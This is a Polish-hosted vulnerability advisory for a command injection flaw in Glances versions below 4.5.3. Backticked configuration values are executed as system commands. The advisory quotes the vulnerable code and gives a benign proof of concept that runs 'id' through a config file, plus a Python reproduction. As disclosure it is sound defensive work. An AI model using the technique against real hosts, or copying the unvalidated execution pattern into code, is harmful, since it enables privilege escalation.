Wysoka

Glances Vulnerable to Command Injection via Dynamic Configuration Values

  • Ujawniono: 30.03.2026
  • Aktualizacja: 11.10.2026 13:19

Summary

Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands.

If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.

Details

  1. Glances loads configuration files from user, system, or custom paths during initialization.

  2. When retrieving a configuration value, Config.get_value() scans for substrings enclosed in backticks.

    File: glances/config.py

match = self.re_pattern.findall(ret)
for m in match:
    ret = ret.replace(m, system_exec(m[1:-1]))
  1. The extracted string is passed directly to system_exec().

    File: glances/globals.py

bash
res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')
  1. The command is executed and its output replaces the original configuration value.

This execution occurs automatically whenever the configuration value is read.

Affected Files

glances/config.py — dynamic configuration parsing

glances/globals.py — command execution helper

Proof of Concept (PoC)

Scenario: Arbitrary command execution via configuration value

Step 1 — Create malicious configuration file

bash
/tmp/glances.conf

add below txt on the file

[outputs]
url_prefix = 'id'

Step 2 — Launch Glances with custom configuration

bash
glances -C /tmp/glances.conf

Step 3 — Observe behavior

When Glances reads the configuration:

  • The command inside backticks is executed
  • Output replaces the configuration value
  • Execution occurs without user interaction

Reproduce using Python code

python
import subprocess
import re

def system_exec(command):
    return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip()

value = "`id`"
pattern = re.compile(r'(`.+?`)')

for m in pattern.findall(value):
    print(system_exec(m[1:-1]))

Output:

uid=1000(user) gid=1000(user) groups=1000(user)

Impact

Arbitrary Command Execution

Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.

Potential Privilege Escalation

If Glances runs as a privileged service (e.g., root), commands execute with those privileges.

Possible scenarios include:

  • Misconfigured file permissions allowing unauthorized config modification
  • Shared systems where configuration directories are writable by multiple users
  • Container environments with mounted configuration volumes
  • Automated configuration management systems that ingest untrusted data

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) glances < 4.5.3 4.5.3

Odnośniki

Ocena CVSS 7.8/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-78
Platforma
Python (PyPI)
Paczka
glances
Ujawniono
30.03.2026
Aktualizacja
11.10.2026 13:19

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2174 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-qhj7-v7h7-q4c7 - CC BY 4.0

Historia podatności: glances

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (26) w archiwum
Wszystkich wpisów
26
Pierwsza → ostatnia
07.2021 08.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 19
  • Średnia 6

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 0
  6. 2026: 25
Istotność:
  1. Glances Vulnerable to Command Injection via Dynamic Configuration Values ten wpis
    Wysoka · 7.8 CVE-2026-33641 < 4.5.3 4.5.3
  2. Wysoka CVE-2026-32596 < 4.5.2 4.5.2
  3. Wysoka CVE-2026-30928 < 4.5.1 4.5.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.